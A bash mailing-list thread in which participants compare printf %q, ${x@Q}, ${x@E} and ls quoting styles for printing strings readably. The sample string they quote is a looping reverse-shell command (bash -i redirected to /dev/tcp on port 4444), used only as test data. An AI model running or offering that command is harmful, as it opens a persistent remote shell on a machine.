Re: `printf %q` but more human readable

[Alex fxmbsw7 Ratchev]

another ls try is with -b, till i write the gawk

On Sun, Mar 14, 2021 at 3:39 PM Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com>
wrote:

> about self coding a solution, i started in gawk, but question: do you want
> \t and \n be shortened or printed and only \34 codes be placed in $' .. '
> otherwise " " otherwise no quotes
>
> On Sun, Mar 14, 2021 at 3:25 PM Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com>
> wrote:
>
>> well about ls, it only prints $' or " where needed, other strings like
>> 'abc' it prints plainly
>>
>> On Sun, Mar 14, 2021 at 3:09 PM Peng Yu <pengyu.ut@gmail.com> wrote:
>>
>>> It is not a valid assumption to assume the input is in filename. Even
>>> it were a valid assumption, `ls --quoting-style=shell-escape` is still
>>> not robust.
>>>
>>> $ touch $'\001'; ls --quoting-style=shell-escape
>>> ''$'\001'
>>> $ printf '%q\n' $'\001'
>>> $'\001'
>>>
>>> On 3/14/21, Alex fxmbsw7 Ratchev <fxmbsw7@gmail.com> wrote:
>>> > if your datas were filenames, you could have used ls
>>> > --quoting-style=shell-escape
>>> > it optionally only quotes em
>>> >
>>> > On Sun, Mar 14, 2021 at 2:54 PM Peng Yu <pengyu.ut@gmail.com> wrote:
>>> >
>>> >> > It's just different quoting styles, but I prefer the single-quoted
>>> >> > version too.
>>> >>
>>> >> It is not as simple as that. See below.
>>> >>
>>> >> > GNU /usr/bin/printf does this
>>> >> >
>>> >> > $ /bin/printf "$x"
>>> >> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' |
>>> bash;
>>> >> > sleep 5; done &
>>> >> >
>>> >> > And for ${parameter@operator}
>>> >> >
>>> >> > $ echo "${x@Q}"
>>> >> > $'while true; do echo \'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1\' |
>>> >> > bash;\nsleep 5; done &'
>>> >>
>>> >> ${x@Q} is not the most human-readable. For example, the extra quote
>>> is
>>> >> not necessary in the following case. `printf %q` is even better in
>>> >> this case. I think a most human-readable solution for all cases can
>>> >> not avoiding testing the content of the string.
>>> >>
>>> >> $ x=a; echo "${x@Q}"
>>> >> 'a'
>>> >> $ printf %q a
>>> >> a
>>> >>
>>> >> > $ echo "${x@E}"
>>> >> > while true; do echo 'bash -i >& /dev/tcp/127.0.0.^C4444 0>&1' |
>>> bash;
>>> >> > sleep 5; done &
>>> >>
>>> >> ${x@Q} is not good either. It can not deal with non-print characters
>>> >> correctly.
>>> >>
>>> >> $ x=$'a\001'; echo "${x@E}"
>>> >> a
>>> >>
>>> >> >
>>> >> > (This confuses me since the manual stated that E produces $'' style
>>> >> > escaping and Q produces single quoted escaping when used for an
>>> >> > array...)
>>> >>
>>> >> The above examples should clarify your confusion. My question is about
>>> >> ALL cases not just about some special cases.
>>> >>
>>> >> --
>>> >> Regards,
>>> >> Peng
>>> >>
>>> >>
>>> >
>>>
>>>
>>> --
>>> Regards,
>>> Peng
>>>
>>